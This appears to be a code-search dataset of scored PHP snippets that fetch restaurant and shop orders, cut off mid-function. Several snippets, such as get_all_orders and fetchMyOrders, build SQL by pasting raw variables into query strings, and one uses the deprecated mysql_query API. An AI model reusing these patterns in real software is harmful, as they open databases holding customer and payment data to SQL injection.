"76dd8e10eefeeaf468261a02e6ddd63c", "score": "0.71228284", "text": "public function index()\n {\n $user_id = Auth::user()->id;\n\n $restaurant_ids = [];\n\n $restaurants = Restaurant::where('user_id', '=', $user_id)->get();\n\n foreach ($restaurants as $restaurant){\n array_push($restaurant_ids, $restaurant['id']);\n }\n\n $orders = Order::whereIn('restaurant_id', $restaurant_ids)->orderBy('created_at', 'DESC')->paginate(6);\n\n \n\n return view('admin.orders.index', compact('orders', 'restaurants'));\n }", "title": "" }, { "docid": "b6bf293e61c5d7968417e0485ee38abe", "score": "0.7006173", "text": "function get_all_orders($inv_resid, $invoice_cond)\n {\n global $CFG, $admin_smarty;\n \n #Total Orders--------------------------------------------------------------#\n $sql_sel_all = \" SELECT ro.orderid, ro.ordergenerateid, ro.deliverydate, ro.orderdate AS delivery_date, ro.payment_type, ro.deliverytype, ro.taxamount, ro.offeramount, ro.deliveryamount, ro.ordersubtotal, ro.ordertotalprice, ro.res_comm_perchantage, ro.res_comm_price, ro.cardpaymentper, ro.cardpaymentfees, rs.restaurant_commission, ro.orderdate \" .\n \" FROM \" . $CFG['table']['order'] . \" AS ro \" .\n \" LEFT JOIN \" . $CFG['table']['restaurant'] .\" AS rs ON ro.restaurant_id = rs.restaurant_id \" .\n \" WHERE ro.restaurant_id IS NOT NULL AND ro.payment_type !='' AND ro.deliverytype !='' AND ro.ordersubtotal !='0.00' AND ro.restaurant_id = '\" .\n $inv_resid . \"' AND ro.status='completed' AND ro.orderdate != '0000-00-00 00:00:00' \" .\n $invoice_cond . \" ORDER BY ro.orderid ASC \";\n #echo $sql_sel_all;\n $res_det_all = $this->ExecuteQuery($sql_sel_all, 'select');\n #echo \"<pre>\";print_r($res_det_all);echo \"</pre>\";\n if (count($res_det_all) > 0)\n {\n foreach ($res_det_all as $key => $value)\n {\n //total items in order\n $res_det_all[$key]['total_items'] = $this->getNumvalues($CFG['table']['restaurant_cart'], \" orderid = '\" . $res_det_all[$key]['orderid'] . \"' \");\n\n if ($res_det_all[$key]['restaurant_commission'] == '')\n {\n $res_det_all[$key]['res_com_per'] = '0';\n }else{\n $res_det_all[$key]['res_com_per'] = $res_det_all[$key]['restaurant_commission'];\n }\n //For email and Pdf start------------------\n\n //Payment method\n if ($res_det_all[$key]['payment_type'] == 'cod')\n {\n $res_det_all[$key]['order_payment_type'] = 'Cash';\n } elseif ($res_det_all[$key]['payment_type'] == 'authorizenet')\n {\n $res_det_all[$key]['order_payment_type'] = 'Authorize.net';\n } elseif ($res_det_all[$key]['payment_type'] == 'creditcard' )\n {\n $res_det_all[$key]['order_payment_type'] = 'Credit Card';\n\n if ($res_det_all[$key]['cardpaymentper'] != '')\n {\n $res_det_all[$key]['cred_card_fee'] = ' (' .$CFG['site']['currency'].' '.$res_det_all[$key]['cardpaymentfees']. '[' .$CFG['site']['site_cc_percentage'] .'%])';\n }\n } elseif ($res_det_all[$key]['payment_type'] == 'paypal')\n {\n $res_det_all[$key]['order_payment_type'] = 'Paypal';\n\n if ($res_det_all[$key]['cardpaymentper'] != '')\n {\n $res_det_all[$key]['cred_card_fee'] = ' (' .$CFG['site']['currency'].' '.$res_det_all[$key]['cardpaymentfees']. '[' .$CFG['site']['site_cc_percentage'] .'%])';\n }\n } else\n {\n $res_det_all[$key]['order_payment_type'] = $res_det_all[$key]['payment_type'];\n }\n $sno = $key + 1;\n\n $order_summary .= '\n <tr>\n <td style=\"text-align:center;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' .\n $sno . '</td>\n <td style=\"text-align:center;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' .\n date(\"d M Y\", strtotime($res_det_all[$key]['orderdate'])) . '</td>\n\t\t\t\t\t <td style=\"text-align:left;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' .\n $res_det_all[$key]['ordergenerateid'] . $res_det_all[$key]['cred_card_fee'] .\n ' </td>\n\t\t\t\t\t\t<td style=\"text-align:center;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $res_det_all[$key]['order_payment_type'] . '</td>\n <td style=\"text-align:right;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $CFG['site']['currency'] . ' ' . number_format($res_det_all[$key]['ordersubtotal'], 2) . '</td>\n <td style=\"text-align:right;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $CFG['site']['currency'] . ' ' . number_format($res_det_all[$key]['deliveryamount'], 2) . '</td>\n <td style=\"text-align:right;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $CFG['site']['currency'] . ' ' . number_format($res_det_all[$key]['taxamount'], 2) . '</td>\n <td style=\"text-align:right;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $CFG['site']['currency'] . ' ' . number_format($res_det_all[$key]['offeramount'], 2) . '</td>\n\t\t\t\t\t\t<td style=\"text-align:right;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $CFG['site']['currency'] . ' ' . number_format($res_det_all[$key]['ordertotalprice'], 2) . '</td>\n\t\t\t\t\t\t<td style=\"text-align:right;padding-bottom:5px; padding-left:5px; padding-right:5px; padding-top:5px; background:#fff1dc;\" valign=\"top\">' . $CFG['site']['currency'] . ' ' . number_format($res_det_all[$key]['res_comm_price'], 2) .'('.$res_det_all[$key]['res_comm_perchantage'].'%)'. '</td>\n \n\t\t\t\t\t</tr>';\n //For email and Pdf end------------------\n //}\n\n $rowTotalordertotal[] = $res_det_all[$key]['ordertotalprice'];\n $rowTotalres_comm_price[] = $res_det_all[$key]['res_comm_price'];\n }\n\n if (!empty($rowTotalordertotal) && is_array($rowTotalordertotal))\n {\n\n $totalSales = array_sum($rowTotalordertotal);\n }\n if (!empty($rowTotalres_comm_price) && is_array($rowTotalres_comm_price))\n {\n\n $totalCommission = array_sum($rowTotalres_comm_price);\n }\n }\n \n return array(\n $res_det_all,\n $totalSales,\n $totalCommission,\n $order_summary);\n }", "title": "" }, { "docid": "a404ad994f3f2fe5bcd0845289a2a46c", "score": "0.69112086", "text": "public function getCustomerOrders();", "title": "" }, { "docid": "eb6d0811c06f78603b872e9ece4e779f", "score": "0.69073015", "text": "public function allOrders()\n {\n return Order::all();\n }", "title": "" }, { "docid": "92380dd2d5423f9cf0278b669f6405b5", "score": "0.69011456", "text": "public static function get_all_orders() \n {\n return DB::table('orders')\n ->join('users', 'orders.user_id', '=', 'users.id')\n ->select('orders.id', 'orders.total', 'orders.date', 'orders.status', 'orders.user_id', 'users.name')\n ->orderBy('orders.updated_at', 'desc')\n ->get();\n }", "title": "" }, { "docid": "7422a6f0711a878621f0dc59b06a579e", "score": "0.6872912", "text": "public function getAllOrders()\n {\n return $this->db->get('orders')->result_array();\n }", "title": "" }, { "docid": "f5b369150d8bdf22c468000e96e77acb", "score": "0.6854141", "text": "public function listOrders();", "title": "" }, { "docid": "fd6fd4022a9e54bb2e39fab287e4df2b", "score": "0.68450993", "text": "public function getGeoRestaurantsAction()\n {\n // get Current user\n $anonim = false;\n $user = $this->container->get('security.context')->getToken()->getUser();\n if (!is_object($user) || !$user instanceof UserInterface) {\n $anonim = true;\n }\n\n $reserveLabel = $this->get('translator')->trans('main.order.button', array(), 'messages');\n\n $restaurants = $this->getRestaurantManager()->findAll();\n // create new object\n $geoRestaurants = array();\n $geoRestaurant = array();\n foreach ($restaurants as $restaurant) {\n if ($anonim) {\n $homeUrl = $this->generateUrl(\"table_main_auth_page\");\n $reserveButton = \"<a class='btn btn-primary' href='{$homeUrl}'>{$reserveLabel}</a>\";\n } elseif (!preg_match(\"/^\\+7\\d{10}$/\", $user->getPhone())) {\n $reserveUrl = $this->generateUrl(\"sonata_user_profile_edit\");\n $reserveButton = \"<a class='btn btn-primary' \" .\n \"href='{$reserveUrl}'>{$reserveLabel}</a>\";\n } else {\n $reserveUrl = $this->generateUrl(\"table_order_reserve\", array(\n \"id\" => $restaurant->getId()\n ));\n $reserveButton = \"<a class='btn btn-primary' data-toggle='modal' \" .\n \"data-target='#reserve_{$restaurant->getId()}' href='{$reserveUrl}'>{$reserveLabel}</a>\";\n }\n $geoRestaurant['content'] = \"<div><b>\" . $restaurant->getName() . \"</b></div>\" . $reserveButton;\n $geoRestaurant['latitude'] = $restaurant->getLatitude();\n $geoRestaurant['longitude'] = $restaurant->getLongitude();\n\n $geoRestaurants[] = $geoRestaurant;\n }\n return $geoRestaurants;\n }", "title": "" }, { "docid": "b2bb899c7faa30b15352db6a914f9408", "score": "0.66894794", "text": "public function getOrders()\n {\n return Order::all();\n }", "title": "" }, { "docid": "0f9ccddcf7a937fc3aa6a56d1f7ac909", "score": "0.66864634", "text": "public function index()\n {\n return Restaurant::all();\n\n }", "title": "" }, { "docid": "3571d84669e6f7f362471321b6cfa649", "score": "0.6641714", "text": "public function getRecurringOrders();", "title": "" }, { "docid": "6478e6e4c75b1f45218d0e54ab04d8ad", "score": "0.66285306", "text": "function get_all_orders(){\n $query = \"SELECT CONCAT(users.first_name,' ',users.last_name) AS name,orders.status,orders.id,orders.total,orders.created_at,\n billing_informations.first_name as bill_fname,\n billing_informations.last_name as bill_lname,billing_informations.address as bill_address,\n billing_informations.city as bill_city,billing_informations.state as bill_state,\n billing_informations.zipcode as bill_zipcode,\n shipping_informations.first_name as ship_fname,shipping_informations.last_name as ship_lname,\n shipping_informations.address as ship_address,shipping_informations.city as ship_city,\n shipping_informations.state as ship_state,shipping_informations.zipcode as ship_zipcode\n FROM orders\n LEFT JOIN billing_informations ON orders.billing_information_id=billing_informations.id\n LEFT JOIN shipping_informations ON orders.shipping_information_id=shipping_informations.id\n LEFT JOIN users ON orders.user_id = users.id\";\n\n return $this->db->query($query)->result_array();\n }", "title": "" }, { "docid": "af42c8cbceddcf7e353c439234d1202e", "score": "0.6628073", "text": "public static function getOrdersList(){\n\t\t\n\t\t$conn = new PDO(DB_DSN,DB_USERNAME,DB_PASSWORD);\n\t\t$sql = \"SELECT * FROM purchases LEFT JOIN users ON users.user_id = purchases.user_id\";\n\t\t$result = $conn->query($sql);\n\t\t$list = array();\n\t\twhile($row = $result->fetch())\n\t\t{\n\t\t\t$orders = new Orders($row);\n\t\t\t$list[] = $orders;\n\t\t}\n\t\t$conn = null;\n\t\treturn(array(\"results\"=>$list));\n\t\t\n\t}", "title": "" }, { "docid": "895d5cc543c02b3ffdf58b16b8b6dfe9", "score": "0.6596403", "text": "public function getAll() {\n\t\t$this->db->from('orders');\n $query = $this->db->get();\n return $result = $query->result_array();\n\t}", "title": "" }, { "docid": "62d0b0c585346ae065b03595384ddc2d", "score": "0.6583443", "text": "public function allOrders()\n\t{\t \t \n\t\t$data['title']='All Orders';\n\t\t$all_order=$this->db->select('*')->from('eshop_orders')->where(array('user_id'=>$this->user_id))->order_by('id','desc')->get()->result();\n\t\t//pr($all_order);\n\t\t$data['all_orders']=$all_order;\n\t\t$data['order_type']='all';\n\t\t$data['module_name']=$this->moduleName;\n\t\t_userLayout(\"ecommerce/order-mgmt/all-orders\",$data);\n\t}", "title": "" }, { "docid": "5d6f7a1d3a4a641c24cab9bc20850bb5", "score": "0.655632", "text": "function get_orders()\n\t{\n\t\tglobal $db;\n\n\t\t$this->orders = array();\n\n\t\t$sql = \"SELECT ord_orderID,ord_storeID,ord_criteria,ord_time,COUNT(ori_itemID) AS ord_numitems,SUM(ori_price) AS ord_total FROM orders,order_items WHERE ord_storeID={$_SESSION['storeID']} AND ord_orderID=ori_orderID GROUP BY ori_orderID ORDER BY ord_time\";\n\t\t$result = mysql_query($sql,$db);\n\t\t$this->error->mysql(__FILE__,__LINE__);\n\n\t\twhile ($row = mysql_fetch_assoc($result)) { $this->orders[] = $row; }\n\t}", "title": "" }, { "docid": "e9463009647069404b883c079b0b0ff9", "score": "0.65437037", "text": "public function index()\n {\n\n $userId = Auth::id();\n $restaurant = Restaurant::where('user_id', $userId)->first();\n $id = $restaurant->id;\n $orders = Order::where('restaurant_id', $id)->orderBy('id', 'desc')->paginate(5);\n\n return view('admin.orders.index', compact('orders', 'id'));\n }", "title": "" }, { "docid": "c1ce315b88ebfa3077d7759e9d41bf0c", "score": "0.6539795", "text": "public function index()\n {\n return Order::with('city', 'items')->get();\n }", "title": "" }, { "docid": "45b40afae58c17e987d5ca7b537cbfb5", "score": "0.6527327", "text": "public function getAllOrder() {\n $orders = Order::all();\n \n return Response::json(array(\n 'orders'=>$orders->toArray()),\n 200\n );\n }", "title": "" }, { "docid": "c8b5840d78e47af685cd2de1eb9ecf3f", "score": "0.6524436", "text": "public function getRestaurantOrders(Request $request)\n {\n }", "title": "" }, { "docid": "721abfcdb295467144b9f93e9ffc8e39", "score": "0.6522619", "text": "public function getOrders()\n {\n return $this->hasMany(Order::className(), ['meal' => 'id']);\n }", "title": "" }, { "docid": "9910c7a2eab1692a565d20c05d39b4da", "score": "0.6510725", "text": "public function all_orders() {\n return $this->hasMany(OrderProxy::modelClass(), 'customer_id');\n }", "title": "" }, { "docid": "0afdf9fb19bec3b688931a2306adb781", "score": "0.64876056", "text": "public function restaurantList()\n {\n $restaurants = Restaurant::with('city', 'state', 'restaurantUsers')->where('del_status', 'Live')->orderBy('updated_at', 'desc')->get();\n //return $restaurants;\n return view('pages.superAdmin.restaurant.index', compact('restaurants'));\n }", "title": "" }, { "docid": "e4010de2a9980ee185d2afb3d10125cd", "score": "0.6469832", "text": "public function index()\n {\n return ordersModel::\n select('orders.*', 'locations.name AS origen')\n ->where('orders.flagstate', 1)\n ->leftJoin('locations', 'locations.id', '=', 'orders.locations_id')\n ->orderBy('id', 'DESC')\n ->paginate(80);\n }", "title": "" }, { "docid": "872627a6f9e861d39fc817475cc44430", "score": "0.645525", "text": "function buscar_dados($restaurante) {\n\t\trequire_once('conexao.class.php');\n\t\t$conexao = new conexao();\n\t\n\t\t$sql = \"select restaurante.*, cidade.id_estado, cidade.id as cidade\n\t\t\t\t\tfrom restaurante\n\t\t\t\t\t\tleft join cidade on cidade.id = restaurante.id_cidade\n\t\t\t\t\t\t\twhere restaurante.id = \".$restaurante;\n\t\n\t\t$r = $conexao -> query($sql);\n\t\treturn $r;\n\t}", "title": "" }, { "docid": "2228b1c3c73a190384df51a4138d17ea", "score": "0.6447763", "text": "public function all_store_orders()\n { \n $all_orders = DB::table('laravelproject_new_goods_orders')\n ->join('laravelproject_new_goods_order_items', 'laravelproject_new_goods_orders.id', 'laravelproject_new_goods_order_items.order_id')\n ->where('laravelproject_new_goods_order_items.store_id', Session::get('store_id'))\n ->select('laravelproject_new_goods_orders.*', 'laravelproject_new_goods_order_items.order_id', 'laravelproject_new_goods_order_items.accept_or_reject', 'laravelproject_new_goods_order_items.product_id', 'laravelproject_new_goods_order_items.qty', 'laravelproject_new_goods_order_items.store_id' )\n ->orderBy('laravelproject_new_goods_orders.id', 'desc')\n ->paginate(20);\n\n return view('elite.store_owner.all_orders', compact('all_orders'));\n }", "title": "" }, { "docid": "3bf474cc08f6d3c07111d03ad713bd55", "score": "0.64157236", "text": "function get_every_order(){\n\tglobal $db;\n\t$query = \"SELECT * FROM orders JOIN customers ON orders.customerID = customers.customerID JOIN names ON customers.nameIDcust = names.nameID WHERE orders.orderSendDate IS NOT NULL ORDER BY orders.orderSendDate ASC, names.lName\";\n\t$results = $db->query($query);\n\treturn $results;\t\t\n}", "title": "" }, { "docid": "7898e373b0283af22c1242be184e75d6", "score": "0.64155525", "text": "public function get_orders_for_customer($c_id){\n $dbs = new DatabaseControls();\n $qry = \"select * from \".$this->table_name.\",restaurant where orders.c_id = \".$c_id.\" and orders.r_id = restaurant.r_id order by o_id desc\";\n $result = $dbs->run_multi_data_select_qry($qry);\n return $result;\n }", "title": "" }, { "docid": "a924ca4acbab79b9a07d31c900db406f", "score": "0.6414949", "text": "public function listOfOrderAvailable() {\n\n $orders = Mage::getResourceModel('sales/order_collection')\n ->addAttributeToFilter('state', Mage_Sales_Model_Order::STATE_COMPLETE)\n ->addAttributeToFilter('customer_id', Mage::getSingleton('customer/session')->getId())\n ->addAttributeToFilter('country_id', array('in' => Mage::helper('lapostegeneratelabel')->countryAvailableForProductReturn()))\n ->join(array('ship_address' => 'order_address'), 'main_table.shipping_address_id = ship_address.entity_id', 'country_id')\n ;\n\n\n return $orders;\n\n\n }", "title": "" }, { "docid": "af890333614d3b839b61033b30b938a0", "score": "0.64101666", "text": "function getOrders()\n {\n $db = dbConnect();\n\n $queryGetOrders = $db->query('SELECT * FROM orders');\n $resultOrders = $queryGetOrders->fetchAll();\n\n return $resultOrders;\n }", "title": "" }, { "docid": "7527630a21de7f02350b748d5b977332", "score": "0.6382631", "text": "public function getRestaurants($id){\n $this->db->select('nombre, info, address, phone');\n $this->db->from('place_restaurant');\n $this->db->where('status = 1');\n $this->db->where('placeId', $id);\n return $this->db->get()->result();\n }", "title": "" }, { "docid": "6714b339755c1e96cbff1311e79928f4", "score": "0.6360185", "text": "public function orders();", "title": "" }, { "docid": "ddbf1f98059188c8e1215d09e84db649", "score": "0.6358469", "text": "function get_orders () {\n\tglobal $db;\n\n\t$sql = \"SELECT o.*, u.name, u.email, u.phone, u.address\n\t\t\tFROM `orders` AS `o`\n\t\t\tLEFT JOIN `users` AS `u` ON o.user_id = u.id\n\t\t\tORDER BY id DESC\";\n\n\t$rs = $db->query($sql);\n\n\t$smartyRs = array();\n\twhile ($row = $rs->fetch(PDO::FETCH_ASSOC)) {\n\t\t$rsChildren = get_purchases_for_order($row['id']);\n\t\tif ($rsChildren) {\n\t\t\t$row['children'] = $rsChildren;\n\t\t\t$smartyRs[] = $row;\n\t\t}\n\t}\n\n\treturn $smartyRs;\n}", "title": "" }, { "docid": "f3d0b29be1a72ad0b730592a0ee72561", "score": "0.6346547", "text": "public function getOrders()\n {\n return $this->httpCall($this->apiEndpoint . 'orders');\n }", "title": "" }, { "docid": "3fb76129a9d57193a60d48ddf173b2d0", "score": "0.6346147", "text": "public function all_orders(){\n $user = Auth::user();\n if (!$user || !$user->is_back_user()) {\n return redirect()->intended(route('admin/login'));\n }\n\n $shops = ShopLocations::all();\n $usersList = User::all('id', 'first_name', 'middle_name', 'last_name');\n\n $breadcrumbs = [\n 'Home' => route('admin'),\n 'Administration' => route('admin'),\n 'Products' => route('admin/shops/products/all'),\n 'Inventory' => '',\n ];\n $text_parts = [\n 'title' => 'Company Inventory',\n 'subtitle' => 'in / out',\n 'table_head_text' => 'Inventory',\n ];\n $sidebar_link= 'admin-backend-shop-all_orders';\n\n return view('admin/orders/all_orders', [\n 'breadcrumbs' => $breadcrumbs,\n 'text_parts' => $text_parts,\n 'in_sidebar' => $sidebar_link,\n 'shops' => $shops,\n 'users' => $usersList\n ]);\n }", "title": "" }, { "docid": "03e6df5634f25bcbc926c05136380f05", "score": "0.63437045", "text": "public static function getAllOrders(){\n $db = Db::getConnection();\n $sql = 'SELECT * FROM product_order ORDER BY id DESC';\n $result = $db->prepare($sql);\n $result->setFetchMode(PDO::FETCH_ASSOC);\n $result->execute();\n $ordersList = array();\n $i = 0;\n while ($row = $result->fetch()) {\n $ordersList[$i]['id'] = $row['id'];\n $ordersList[$i]['user_name'] = $row['user_name'];\n $ordersList[$i]['user_phone'] = $row['user_phone'];\n $ordersList[$i]['date'] = $row['date'];\n $ordersList[$i]['status'] = $row['status'];\n $i++;\n }\n\n return $ordersList;\n }", "title": "" }, { "docid": "b813da9cd3282dea9dd3d1fb92539448", "score": "0.63412774", "text": "public function restaurants();", "title": "" }, { "docid": "f194b12fb91f99828309c4b30fd4291f", "score": "0.63090396", "text": "public function getOrderItems();", "title": "" }, { "docid": "63b90732caee2e5c7a328ab652b7a3af", "score": "0.6302384", "text": "public function fetchMyOrders () {\n\t\t\n\t\t$sql = \"SELECT \n\t\t\t`bc`.`id`, `bc`.`servings`, `m`.`name`, `m`.`price` \n\t\tFROM `buyer_cart` AS `bc`, `meals` AS `m` \n\t\tWHERE `bc`.`buyer`=(SELECT `id` FROM `buyers` WHERE `auth_id`='{$_SERVER['REMOTE_ADDR']}' LIMIT 1) AND `bc`.`meal`=`m`.`id` AND `bc`.`status` = '0' ORDER BY `bc`.`time` DESC\";\n\t\t$query = $this->db->query($sql);\n\t\treturn $query->result();\n\t\t\n\t\treturn array();\n\t}", "title": "" }, { "docid": "11904a100804fb5a3ff54fba62e52648", "score": "0.62895334", "text": "public function getAllOrder(){\n $order = DB::table('orders')\n ->join('order_items', 'orders.id', '=', 'order_items.order_id')\n ->groupBy('orders.id')\n ->select('orders.*', DB::raw('count(order_items.id) as total_item'))\n ->where('user_id', Auth::guard('web')->user()->id)\n ->get();\n return response()->json($order);\n }", "title": "" }, { "docid": "88cd0554ffb2a55d6ef6dc04fbd5d777", "score": "0.628899", "text": "public function index()\n {\n return Order::with(['user','products','address','orderStatus','shipment.deliveryStatus'])->get();\n \n }", "title": "" }, { "docid": "1dd75e9128f7786fdf5c3c0731b262ec", "score": "0.62758446", "text": "public function getAllRestaurant(){\n $restaurants = $this->getJsonFile()->getData();\n $sorting_value = $this->sortBy($restaurants, 'bestMatch')->getData();\n return view('welcome', compact('sorting_value'));\n }", "title": "" }, { "docid": "7d69699d4a88bc777d6ae544cd1d5308", "score": "0.6273426", "text": "public function getOrders() { \n $this->db->select('user_order.id,user_order.transaction_id,user_order.grand_total,user_order.shipping_method,'\n . 'user_order.created_date,user_order.user_id,users.id AS user_id ,users.firstname,users.lastname');\n $this->db->from('user_order');\n $this->db->join('users','users.id=user_order.user_id');\n $r = $this->db->get();\n return $r->result_array();\n }", "title": "" }, { "docid": "5eb7af6847cd922b7eb5fa8e559f4c76", "score": "0.6272848", "text": "public function getOrders()\n {\n return $this->orders;\n }", "title": "" }, { "docid": "5eb7af6847cd922b7eb5fa8e559f4c76", "score": "0.6272848", "text": "public function getOrders()\n {\n return $this->orders;\n }", "title": "" }, { "docid": "5eb7af6847cd922b7eb5fa8e559f4c76", "score": "0.6272848", "text": "public function getOrders()\n {\n return $this->orders;\n }", "title": "" }, { "docid": "5eb7af6847cd922b7eb5fa8e559f4c76", "score": "0.6272848", "text": "public function getOrders()\n {\n return $this->orders;\n }", "title": "" }, { "docid": "62e5a1eb2613138763f066b30b228f27", "score": "0.62664425", "text": "public function user_get_all_orders()\n {\n $users = App::get('database')->selectAllFrom('users');\n\n return view('users_view/order_details', [\n 'users' => $users\n ]);\n }", "title": "" }, { "docid": "b29412cecdc6eb314105d8302022e7d6", "score": "0.62578726", "text": "public static function get_user_orders() \n {\n //Auth::user()->id\n \n return Order::where([\n ['user_id', Auth::user()->id]\n ])->orderBy('updated_at', 'desc')\n ->paginate(7);\n }", "title": "" }, { "docid": "b1756062af9bf41cc867bf716532b98e", "score": "0.6254614", "text": "public function all()\n {\n return Order::filter($this->filter)->paginate();\n }", "title": "" }, { "docid": "49f843c26f0a92ec33290c9c2d1d7dfc", "score": "0.6253679", "text": "public function getAllOrdersWithAddress() {\n return $this->selectRaw('tgl_order, x_jmlpin, (case when harus_transfer > 0 then harus_transfer else transfer_pin end) as nilai_transfer, nama_penerima, alamat_lengkap')->whereNotNull('alamat_lengkap')->where('status', 3)->orderBy('id')->get();\n }", "title": "" }, { "docid": "0aea28023e8d003042ec88a6edac0ad5", "score": "0.6251896", "text": "public function getOrderings(): array;", "title": "" }, { "docid": "f9d5b41b4a8bd6b9bd66e9c94018a613", "score": "0.62471545", "text": "public function list(Restaurant $restaurant)\n {\n $restaurantOrder = $restaurant->with('orders.foods')->paginate(10);\n\n return $this->respondWithPagination($restaurantOrder, 200);\n }", "title": "" }, { "docid": "9d0b00988b9b53d5f90f120287735da5", "score": "0.6244158", "text": "public function getOrders() {\r\n\r\n\t\t$this->errorReset();\r\n\r\n\t\t$parameter = $this->getParameter();\r\n\r\n\t\t// if request method is blocked\r\n\t\tif (!RESTClient::setRequestMethod(HTTPRequestMethod::GET)) {\r\n\r\n\t\t\t$this->errorSet(\"RESTC-9\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t$content = RESTClient::send(self::RESTPATH . \"?\" . $parameter);\r\n\r\n\t\t// if respond is empty\r\n\t\tif (InputValidator::isEmpty($content)) {\r\n\r\n\t\t\t$this->errorSet(\"OF-1\");\r\n\t\t Logger::error(\"ep6\\OrderFilter\\nREST respomd for getting orders is empty.\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t// if there is no results, page AND resultsPerPage element\r\n\t\tif (InputValidator::isEmptyArrayKey($content, \"results\") ||\r\n\t\t\tInputValidator::isEmptyArrayKey($content, \"page\") ||\r\n\t\t\tInputValidator::isEmptyArrayKey($content, \"resultsPerPage\")) {\r\n\r\n\t\t\t$this->errorSet(\"OF-2\");\r\n\t\t Logger::error(\"ep6\\OrderFilter\\nRespond for \" . self::RESTPATH . \" can not be interpreted.\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t$this->results = $content['results'];\r\n\r\n\t\t$orders = array();\r\n\r\n\t\t// is there any order found: load the products.\r\n\t \tif (!InputValidator::isEmptyArrayKey($content, \"items\") && (sizeof($content['items']) != 0)) {\r\n\r\n\t\t\tforeach ($content['items'] as $item) {\r\n\r\n\t\t\t\t$order = new Order($item);\r\n\r\n\t\t\t\t// go to every filter\r\n\t\t\t\tforeach ($this->filters as $filter) {\r\n\r\n\t\t\t\t\tif (!InputValidator::isEmptyArrayKey($item, $filter->getAttribute()) || $filter->getOperator() == FilterOperation::UNDEF) {\r\n\r\n\t\t\t\t\t\tif (!InputValidator::isArray($item[$filter->getAttribute()])) {\r\n\r\n\t\t\t\t\t\t\tif (!$filter->isElementInFilter($item)) {\r\n\t\t\t\t\t\t\t\tcontinue 2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse {\r\n\t\t\t\t\t\tcontinue 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tarray_push($orders, $order);\r\n\t\t\t}\r\n\t \t}\r\n\r\n\t\treturn $orders;\r\n\t}", "title": "" }, { "docid": "c8036a9b35bc32b0df8a1b1b49bc8b00", "score": "0.62163496", "text": "static public function getOrders()\n\t{\n\t\t$return[] = \"name\";\n\t\t$return[] = \"id\";\n\t\t$return[] = \"description\";\n\t\t$return[] = \"status\";\n\t\t\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "61b758bcbf91f94747d73069df8c8617", "score": "0.62083584", "text": "protected function _getOrders()\n {\n /** @var DateTime $date */\n $date = $this->_dateFactory->create();\n $collection = $this->_salesOrderCollectionFactory->create();\n $collection\n ->join(\n ['payment' => 'sales_order_payment'],\n 'main_table.entity_id=payment.parent_id',\n ['payment_method' => 'payment.method']\n )\n ->addFieldToFilter('payment.method', ['eq' => $this->_boletoHelper->getMethodCode()])\n ->addFieldToFilter(SalesOrder::CREATED_AT, [\n 'from' => $date->date('Y-m-d h:i:s', '-1 days'),\n 'to' => $date->date('Y-m-d h:i:s'),\n ]);\n return $collection;\n }", "title": "" }, { "docid": "b99a4b4ce4d6b809b10ff4dab7074cce", "score": "0.62056583", "text": "function getRestaurantDetails(){\n\n\t\t\t$getRestaurant =$this->Webservice_customer_model->getRestaurantDetail();\n\t\t\tforeach ($getRestaurant as $key => $value) {\n\t\t\t\tif(count($getRestaurant)>0){\n\t\t\t\t\t$resData[$key]['restaurant_id'] =$value->restaurant_id;\n\t\t\t\t\t$resData[$key]['restaurant_name'] =$value->restaurant_name;\n\t\t\t\t\t$resData[$key]['restaurant_name_ar'] =$value->restaurant_name_ar;\n\t\t\t\t\t$resData[$key]['headline'] =$value->headline;\n\t\t\t\t\t$resData[$key]['address'] =$value->address;\n\t\t\t\t\t$resData[$key]['email'] =$value->email;\n\t\t\t\t\t$resData[$key]['contact_no'] =$value->contact_no;\n\t\t\t\t\t$resData[$key]['delivery_contact_no'] =$value->delivery_contact_no;\n\t\t\t\t\t$resData[$key]['banner_image'] =$value->banner_image;\n\t\t\t\t\t$resData[$key]['description'] =$value->description;\n\t\t\t\t\t$resData[$key]['country'] =$value->country;\n\t\t\t\t\t$resData[$key]['state'] =$value->state;\n\t\t\t\t\t$resData[$key]['city'] =$value->city;\n\t\t\t\t\t$resData[$key]['zipcode'] =$value->zipcode;\n\t\t\t\t\t$resData[$key]['owner_id'] =$value->o_uid;\n\t\t\t\t\t$resData[$key]['manager_id'] =$value->m_uid;\n\t\t\t\t\t$resData[$key]['zipcode'] =$value->zipcode;\n\t\t\t\t\t$resData[$key]['owner'] =$value->o_fname.\" \".$value->o_lname;\n\t\t\t\t\t$resData[$key]['manager'] =$value->m_fname.\" \".$value->m_lname;\n\n\t\t\t\t\t$getLocality=$this->Webservice_customer_model->getLocality($value->restaurant_id);\n\t\t\t\t\t if(count($getLocality)>0){\n\n\t\t\t\t\t \tforeach ($getLocality as $key1 => $value1) {\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['locality_id'] =$value1->locality_id;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['name'] =$value1->name;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['name_ar'] =$value1->name_ar;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['delivered_time'] =$value1->delivered_time;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['delivery_charge'] =$value1->delivery_charge;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['min_order_amount'] 